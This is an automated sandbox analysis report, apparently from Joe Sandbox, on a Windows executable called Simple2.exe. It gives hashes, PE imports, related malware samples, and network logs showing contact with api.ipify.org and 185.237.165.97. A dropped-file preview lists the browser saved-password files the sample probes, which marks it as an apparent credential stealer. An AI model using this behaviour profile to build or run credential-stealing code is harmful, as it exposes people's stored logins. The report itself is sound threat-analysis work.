Excluded domains from analysis (whitelisted): client.wns.windows.com, wns.notify.trafficmanager.net, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ocsp.edge.digicert.com, ctldl.windowsupdate.com, tse1.mm.bing.net, g.bing.com, arc.msn.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Simple2.exe

Simulations

Behavior and APIs

Time	Type	Description
05:10:29	API Interceptor	1x Sleep call for process: Simple2.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.237.165.97	systemConfigChecker.exe	Get hash	malicious	Unknown	Browse	185.237.165.97/userdata
185.237.165.97	systemConfigChecker.exe	Get hash	malicious	Unknown	Browse	185.237.165.97/userdata
172.67.74.152	systemConfigChecker.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	systemConfigChecker.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	2b7cu0KwZl.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	Zc9eO57fgF.elf	Get hash	malicious	Unknown	Browse	api.ipify.org/
	67065b4c84713_Javiles.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	Yc9hcFC1ux.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	4F08j2Rmd9.bin	Get hash	malicious	Xmrig	Browse	api.ipify.org/
	y8tCHz7CwC.bin	Get hash	malicious	Xmrig	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fp2e7a.wpc.phicdn.net	Fiyat Teklifi_2038900001-MOKAPTO-06122024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	192.229.221.95
	16547.js	Get hash	malicious	MassLogger RAT	Browse	192.229.221.95
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	192.229.221.95
	file.exe	Get hash	malicious	Stealc	Browse	192.229.221.95
	file.exe	Get hash	malicious	LummaC Stealer	Browse	192.229.221.95
	XE5p2qNoWt.exe	Get hash	malicious	Lokibot, PureLog Stealer, zgRAT	Browse	192.229.221.95
	https://ness.wiktripfitness.com/ghjki9l-8765t4/3/er4t5y6u7jyhtgrfefrgthyjuyhtgdsarfedwsqa	Get hash	malicious	Unknown	Browse	192.229.221.95
	izCOFC8OWh.exe	Get hash	malicious	Unknown	Browse	192.229.221.95
	TPDKSYfEac.exe	Get hash	malicious	FormBook, GuLoader	Browse	192.229.221.95
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	192.229.221.95
api.ipify.org	systemConfigChecker.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	systemConfigChecker.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	kYGxoN4JVW.bat	Get hash	malicious	Unknown	Browse	172.67.74.152
	REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	PO54782322024.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	https://assets-gbr.mkt.dynamics.com/cc57758b-ada1-ef11-8a64-000d3a872ba0/digitalassets/standaloneforms/7608c709-85a2-ef11-8a69-7c1e5279b2dd	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	104.26.13.205
	https://url.us.m.mimecastprotect.com/s/tWC_CNkXmJcoqkvlsmfBIyQP6j?domain=assets-gbr.mkt.dynamics.com	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	104.26.13.205
	lC7L7oBBMC.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	0wxckB4Iba.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	OHScaqAPjt.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	172.67.74.152

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AP-MEDIA-ASPL	systemConfigChecker.exe	Get hash	malicious	Unknown	Browse	185.237.165.97
	systemConfigChecker.exe	Get hash	malicious	Unknown	Browse	185.237.165.97
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	46.149.221.180
	file.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	185.237.165.180
	pjczQr2H3P.exe	Get hash	malicious	Socks5Systemz	Browse	185.237.165.53
	9TSh73ulR1.exe	Get hash	malicious	Socks5Systemz	Browse	185.237.165.53
	0o37tv6BhU.elf	Get hash	malicious	Mirai	Browse	46.149.221.189
	YZfB2vyTrR.elf	Get hash	malicious	Mirai	Browse	46.149.221.169
	pSWP8vqTi4.elf	Get hash	malicious	Mirai, Moobot	Browse	46.149.221.178
	ISd7zpfQxZ.elf	Get hash	malicious	Mirai	Browse	46.149.221.177
CLOUDFLARENETUS	systemConfigChecker.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	systemConfigChecker.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.67.165.166
	5q1Wm5VlqL.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	2LKVPFub8Z.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	7fE6IkvYWf.exe	Get hash	malicious	Unknown	Browse	104.16.184.241
	kYGxoN4JVW.bat	Get hash	malicious	Unknown	Browse	172.67.74.152
	datXObAAn1.exe	Get hash	malicious	Discord Rat	Browse	162.159.133.234
	EeXJoO1J62.exe	Get hash	malicious	Discord Rat	Browse	162.159.130.234

Process:	C:\Users\user\Desktop\Simple2.exe
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	1010
Entropy (8bit):	4.919298942950339
Encrypted:	false
SSDEEP:	24:8Za5Kk89fa5K889faM89OaYeb89faDWD89fcLfVpLfa+89fM1NVS:80UksyU8syMsLDbsyDWDsYtdy+siY
MD5:	8425BB69DE5A4EA76268807061D422D2
SHA1:	CDA63B9E4A33CBE7BB437BE935DF592FFDF79048
SHA-256:	AB07757EF265AA5F71C0CC6496EC4C812F892DAD4C6C7C81820B9315E9E221C7
SHA-512:	13654CF8B23FE0D24B50108A298FD0BC825B3D6580C9356CF27FF1CD79812FD611407DDA3BDAF90DB7370AE2C87DB0AEED1F0C1C005D6748C0136F97748E1C08
Malicious:	false
Reputation:	low
Preview:	File is found: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data..File not found: C:\Users\user\AppData\Local\Google\Chrome Beta\User Data\Default\Login Data..File not found: C:\Users\user\AppData\Local\Chromium\User Data\Default\Login Data..File is found: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data..File not found: C:\Users\user\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Login Data..File not found: C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Login Data..File not found: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Login Data..File not found: C:\Users\user\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data..File not found: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json..File is found: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\0absryc3.default\times.json.... ....... ........ ..... ..

Static File Info

General

File type:	PE32+ executable (console) x86-64, for MS Windows
Entropy (8bit):	5.944817639384687
TrID:	Win64 Executable Console (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Simple2.exe
File size:	79'872 bytes
MD5:	ed207427a25863f5524d616525943dd5
SHA1:	6b7aa5224f76b8e09d3a8eefdb299e16b37c887f
SHA256:	418b88c4cd03e7da38287324094b5af3843835d63e06fd44c0fb06903d7575b6
SHA512:	ee55d29e1a8aab196406767b84812fa428c064af8cb692b4e01a5b69ebf95462cd965e42a0d7c6ed95542e130da8fec9c25188aab84a353492f07977264ceac9
SSDEEP:	1536:SsN2HJVypWjCoZQcAkX8Uet4WTjs/U9w:rN2HDypWjCMekXBet4WPwMw
TLSH:	81734B47279904ECD2BBE37CD29A5A02D376BC05132697CF039191362FA67D0AE7EB11
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........A..v/..v/..v/......v/...+..v/...,..v/...*..v/......v/......v/..v.."v/...&..v/......v/...-..v/.Rich.v/.........PE..d...h..f...

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x14000b768
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F2E668 [Tue Sep 24 16:18:48 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	066fb96ba163200488bf8cbd9705163e

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FF028F490A0h
dec eax
add esp, 28h
jmp 00007FF028F48967h
int3
int3
retn 0000h
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
xor ecx, ecx
call dword ptr [0000194Fh]
dec eax
mov ecx, ebx
call dword ptr [0000193Eh]
call dword ptr [00001948h]
dec eax
mov ecx, eax
mov edx, C0000409h
dec eax
add esp, 20h
pop ebx
dec eax
jmp dword ptr [0000193Ch]
dec eax
mov dword ptr [esp+08h], ecx
dec eax
sub esp, 38h
mov ecx, 00000017h
call dword ptr [00001930h]
test eax, eax
je 00007FF028F48AF9h
mov ecx, 00000002h
int 29h
dec eax
lea ecx, dword ptr [000090A6h]
call 00007FF028F48B9Eh
dec eax
mov eax, dword ptr [esp+38h]
dec eax
mov dword ptr [0000918Dh], eax
dec eax
lea eax, dword ptr [esp+38h]
dec eax
add eax, 08h
dec eax
mov dword ptr [0000911Dh], eax
dec eax
mov eax, dword ptr [00009176h]
dec eax
mov dword ptr [00008FE7h], eax
dec eax
mov eax, dword ptr [esp+40h]
dec eax
mov dword ptr [000090EBh], eax
mov dword ptr [00008FC1h], C0000409h
mov dword ptr [00008FBBh], 00000001h
mov dword ptr [00008FC5h], 00000001h

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x10dbc	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x16000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x15000	0x948	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x17000	0x10c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xe7c0	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xe680	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xd000	0x630	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xba07	0xbc00	9b0eebbbfa76824e01521c9aec7dfe57	False	0.4793675199468085	zlib compressed data	6.10415307318274	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xd000	0x6128	0x6200	f96793aa05943a27e75f5c0f81ce41a1	False	0.3508450255102041	data	4.9758094084428075	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x14000	0xda0	0x800	a1584494173fef381407b0a55fe58cdf	False	0.197265625	DOS executable (block device driver)	3.6123807981210243	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x15000	0x948	0xa00	56d1a1fb2414222ac35eeeae290fd52e	False	0.46796875	data	4.4815576012306435	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x16000	0x1e0	0x200	c970c10a1e848ee974b87923ecbe6a2f	False	0.525390625	data	4.706155132693063	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x17000	0x10c	0x200	229d40605aa4496585f934aa5d939a3a	False	0.421875	data	3.2433320779278194	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x16060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
KERNEL32.dll	GetFileAttributesW, GetLocaleInfoA, OpenProcess, GetTimeZoneInformation, GetLastError, CloseHandle, K32GetModuleBaseNameA, GetSystemInfo, K32EnumProcesses, GlobalMemoryStatusEx, GetConsoleWindow, K32EnumProcessModules, GetDiskFreeSpaceExA, FindClose, InitializeSListHead, GetSystemTimeAsFileTime, GetEnvironmentVariableW, FindNextFileW, FindFirstFileW, GetLogicalDrives, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, IsDebuggerPresent, GetModuleHandleW, QueryPerformanceCounter, GetCurrentProcessId, RtlLookupFunctionEntry, GetModuleFileNameA, GetCurrentThreadId, RtlCaptureContext
USER32.dll	ShowWindow
ADVAPI32.dll	RegGetValueA, RegCloseKey, RegOpenKeyExA
MSVCP140.dll	?id@?$codecvt@_WDU_Mbstatet@@@std@@2V0locale@2@A, ?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ, ?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z, ?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z, ?sputn@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAA_JPEB_W_J@Z, ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z, ?widen@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEBA_WD@Z, ?put@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@D@Z, ?put@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@_W@Z, ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ, ?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEBA?AVlocale@2@XZ, ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z, ?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAG_W@Z, ?widen@?$basic_ios@DU?$char_traits@D@std@@@std@@QEBADD@Z, ?unshift@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEAD1AEAPEAD@Z, ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ, ?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ, ?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXPEAPEAD0PEAH001@Z, ?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ, ?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@XZ, ??0?$basic_istream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z, ?in@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEAD3AEAPEAD@Z, ?out@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEAD3AEAPEAD@Z, ?setw@std@@YA?AU?$_Smanip@_J@1@_J@Z, ?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z, ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ, ??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z, ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z, ??4?$_Yarn@D@std@@QEAAAEAV01@PEBD@Z, ??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UEAA@XZ, ?_Lock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@UEAAXXZ, ?_Unlock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@UEAAXXZ, ?showmanyc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAA_JXZ, ?uflow@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAAHXZ, ?xsgetn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAA_JPEAD_J@Z, ?xsputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAA_JPEBD_J@Z, ?setbuf@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAAPEAV12@PEAD_J@Z, ?sync@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAAHXZ, ?imbue@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAAXAEBVlocale@2@@Z, ??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ, ??1?$basic_ostream@DU?$char_traits@D@std@@@std@@UEAA@XZ, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAVios_base@1@AEAV21@@Z@Z, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@G@Z, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@H@Z, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@_K@Z, ??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z, ??1?$basic_istream@DU?$char_traits@D@std@@@std@@UEAA@XZ, ?read@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@PEAD_J@Z, ?seekg@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@_JH@Z, ?tellg@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAA?AV?$fpos@U_Mbstatet@@@2@XZ, ??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ, ?good@ios_base@std@@QEBA_NXZ, ??7ios_base@std@@QEBA_NXZ, ??1?$codecvt@_WDU_Mbstatet@@@std@@MEAA@XZ, ??0?$codecvt@_WDU_Mbstatet@@@std@@QEAA@_K@Z, ?out@?$codecvt@_WDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEB_W1AEAPEB_WPEAD3AEAPEAD@Z, ?in@?$codecvt@_WDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEA_W3AEAPEA_W@Z, ?always_noconv@codecvt_base@std@@QEBA_NXZ, ?_Addfac@_Locimp@locale@std@@AEAAXPEAVfacet@23@_K@Z, ?_Decref@facet@locale@std@@UEAAPEAV_Facet_base@3@XZ, ?_Incref@facet@locale@std@@UEAAXXZ, ??Bid@locale@std@@QEAA_KXZ, ?_Fiopen@std@@YAPEAU_iobuf@@PEB_WHH@Z, ?id@?$codecvt@DDU_Mbstatet@@@std@@2V0locale@2@A, ?cerr@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A, ?wcout@std@@3V?$basic_ostream@_WU?$char_traits@_W@std@@@1@A, ?uncaught_exception@std@@YA_NXZ, ?_Init@locale@std@@CAPEAV_Locimp@12@_N@Z, ?_Getgloballocale@locale@std@@CAPEAV_Locimp@12@XZ, ?_New_Locimp@_Locimp@locale@std@@CAPEAV123@AEBV123@@Z, ?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A, ??0_Lockit@std@@QEAA@H@Z, ??1_Lockit@std@@QEAA@XZ, ?_Xlength_error@std@@YAXPEBD@Z
IPHLPAPI.DLL	GetAdaptersInfo
NETAPI32.dll	NetApiBufferFree, NetUserEnum, NetGetJoinInformation
WINHTTP.dll	WinHttpQueryDataAvailable, WinHttpConnect, WinHttpSendRequest, WinHttpCloseHandle, WinHttpOpenRequest, WinHttpReadData, WinHttpQueryHeaders, WinHttpOpen, WinHttpReceiveResponse
VCRUNTIME140_1.dll	__CxxFrameHandler4
VCRUNTIME140.dll	__C_specific_handler, _CxxThrowException, memset, __current_exception, __std_terminate, __std_exception_copy, memcpy, memcmp, memchr, memmove, __current_exception_context, __std_exception_destroy
api-ms-win-crt-stdio-l1-1-0.dll	fread, fsetpos, ungetc, _fseeki64, _get_stream_buffer_pointers, setvbuf, fgetpos, fwrite, fflush, __p__commode, fputc, fgetc, fclose, _set_fmode
api-ms-win-crt-heap-l1-1-0.dll	free, malloc, _set_new_mode, _callnewh
api-ms-win-crt-string-l1-1-0.dll	isalnum
api-ms-win-crt-filesystem-l1-1-0.dll	_lock_file, _unlock_file
api-ms-win-crt-runtime-l1-1-0.dll	_get_initial_narrow_environment, _initterm, _initterm_e, _cexit, _exit, __p___argc, __p___argv, _c_exit, _register_thread_local_exe_atexit_callback, _crt_atexit, _register_onexit_function, _seh_filter_exe, _initialize_onexit_table, _initialize_narrow_environment, _configure_narrow_argv, _set_app_type, exit, terminate, _invalid_parameter_noinfo_noreturn
api-ms-win-crt-math-l1-1-0.dll	__setusermatherr
api-ms-win-crt-locale-l1-1-0.dll	_configthreadlocale

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 11:10:29.747333050 CET	49714	80	192.168.2.6	172.67.74.152
Dec 6, 2024 11:10:29.867048025 CET	80	49714	172.67.74.152	192.168.2.6
Dec 6, 2024 11:10:29.867139101 CET	49714	80	192.168.2.6	172.67.74.152
Dec 6, 2024 11:10:29.898848057 CET	49714	80	192.168.2.6	172.67.74.152
Dec 6, 2024 11:10:30.027228117 CET	80	49714	172.67.74.152	192.168.2.6
Dec 6, 2024 11:10:30.962733984 CET	80	49714	172.67.74.152	192.168.2.6
Dec 6, 2024 11:10:31.013643980 CET	49714	80	192.168.2.6	172.67.74.152
Dec 6, 2024 11:10:31.943598986 CET	49715	80	192.168.2.6	185.237.165.97
Dec 6, 2024 11:10:32.063754082 CET	80	49715	185.237.165.97	192.168.2.6
Dec 6, 2024 11:10:32.063831091 CET	49715	80	192.168.2.6	185.237.165.97
Dec 6, 2024 11:10:32.064127922 CET	49715	80	192.168.2.6	185.237.165.97
Dec 6, 2024 11:10:32.064218044 CET	49715	80	192.168.2.6	185.237.165.97
Dec 6, 2024 11:10:32.183779955 CET	80	49715	185.237.165.97	192.168.2.6
Dec 6, 2024 11:10:32.183846951 CET	49715	80	192.168.2.6	185.237.165.97
Dec 6, 2024 11:10:32.183880091 CET	80	49715	185.237.165.97	192.168.2.6
Dec 6, 2024 11:10:32.183939934 CET	49715	80	192.168.2.6	185.237.165.97
Dec 6, 2024 11:10:32.184063911 CET	80	49715	185.237.165.97	192.168.2.6
Dec 6, 2024 11:10:32.184075117 CET	80	49715	185.237.165.97	192.168.2.6
Dec 6, 2024 11:10:32.184083939 CET	80	49715	185.237.165.97	192.168.2.6
Dec 6, 2024 11:10:32.184120893 CET	49715	80	192.168.2.6	185.237.165.97
Dec 6, 2024 11:10:32.184138060 CET	80	49715	185.237.165.97	192.168.2.6
Dec 6, 2024 11:10:32.184145927 CET	49715	80	192.168.2.6	185.237.165.97
Dec 6, 2024 11:10:32.184187889 CET	49715	80	192.168.2.6	185.237.165.97
Dec 6, 2024 11:10:32.184205055 CET	80	49715	185.237.165.97	192.168.2.6
Dec 6, 2024 11:10:32.184218884 CET	80	49715	185.237.165.97	192.168.2.6
Dec 6, 2024 11:10:32.184247017 CET	80	49715	185.237.165.97	192.168.2.6
Dec 6, 2024 11:10:32.184267998 CET	49715	80	192.168.2.6	185.237.165.97
Dec 6, 2024 11:10:32.184292078 CET	49715	80	192.168.2.6	185.237.165.97
Dec 6, 2024 11:10:32.184302092 CET	80	49715	185.237.165.97	192.168.2.6
Dec 6, 2024 11:10:32.184351921 CET	49715	80	192.168.2.6	185.237.165.97
Dec 6, 2024 11:10:32.303637981 CET	80	49715	185.237.165.97	192.168.2.6
Dec 6, 2024 11:10:32.303705931 CET	49715	80	192.168.2.6	185.237.165.97
Dec 6, 2024 11:10:32.303811073 CET	80	49715	185.237.165.97	192.168.2.6
Dec 6, 2024 11:10:32.303865910 CET	80	49715	185.237.165.97	192.168.2.6
Dec 6, 2024 11:10:32.303921938 CET	49715	80	192.168.2.6	185.237.165.97
Dec 6, 2024 11:10:32.304217100 CET	80	49715	185.237.165.97	192.168.2.6
Dec 6, 2024 11:10:32.304229021 CET	80	49715	185.237.165.97	192.168.2.6
Dec 6, 2024 11:10:32.304276943 CET	49715	80	192.168.2.6	185.237.165.97
Dec 6, 2024 11:10:32.304311037 CET	80	49715	185.237.165.97	192.168.2.6
Dec 6, 2024 11:10:32.304353952 CET	49715	80	192.168.2.6	185.237.165.97
Dec 6, 2024 11:10:32.344950914 CET	80	49715	185.237.165.97	192.168.2.6
Dec 6, 2024 11:10:32.345122099 CET	49715	80	192.168.2.6	185.237.165.97
Dec 6, 2024 11:10:32.464891911 CET	80	49715	185.237.165.97	192.168.2.6
Dec 6, 2024 11:10:32.465029001 CET	49715	80	192.168.2.6	185.237.165.97
Dec 6, 2024 11:10:32.512991905 CET	80	49715	185.237.165.97	192.168.2.6
Dec 6, 2024 11:10:32.513044119 CET	49715	80	192.168.2.6	185.237.165.97
Dec 6, 2024 11:10:32.629190922 CET	80	49715	185.237.165.97	192.168.2.6
Dec 6, 2024 11:10:32.629280090 CET	49715	80	192.168.2.6	185.237.165.97
Dec 6, 2024 11:10:32.717037916 CET	80	49715	185.237.165.97	192.168.2.6
Dec 6, 2024 11:10:32.717109919 CET	49715	80	192.168.2.6	185.237.165.97
Dec 6, 2024 11:10:32.876857996 CET	80	49715	185.237.165.97	192.168.2.6
Dec 6, 2024 11:10:32.876909971 CET	49715	80	192.168.2.6	185.237.165.97
Dec 6, 2024 11:10:33.117204905 CET	80	49715	185.237.165.97	192.168.2.6
Dec 6, 2024 11:10:33.117300987 CET	49715	80	192.168.2.6	185.237.165.97
Dec 6, 2024 11:10:33.360977888 CET	80	49715	185.237.165.97	192.168.2.6
Dec 6, 2024 11:10:33.361079931 CET	49715	80	192.168.2.6	185.237.165.97
Dec 6, 2024 11:10:33.604847908 CET	80	49715	185.237.165.97	192.168.2.6
Dec 6, 2024 11:10:33.604968071 CET	49715	80	192.168.2.6	185.237.165.97
Dec 6, 2024 11:10:33.844959974 CET	80	49715	185.237.165.97	192.168.2.6
Dec 6, 2024 11:10:33.845041037 CET	49715	80	192.168.2.6	185.237.165.97
Dec 6, 2024 11:10:34.088849068 CET	80	49715	185.237.165.97	192.168.2.6
Dec 6, 2024 11:10:34.190660954 CET	80	49715	185.237.165.97	192.168.2.6
Dec 6, 2024 11:10:34.663304090 CET	49714	80	192.168.2.6	172.67.74.152

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 11:10:29.603085995 CET	56244	53	192.168.2.6	1.1.1.1
Dec 6, 2024 11:10:29.741280079 CET	53	56244	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 6, 2024 11:10:29.603085995 CET	192.168.2.6	1.1.1.1	0x72c3	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 6, 2024 11:10:26.403680086 CET	1.1.1.1	192.168.2.6	0x7ad8	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2024 11:10:26.403680086 CET	1.1.1.1	192.168.2.6	0x7ad8	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
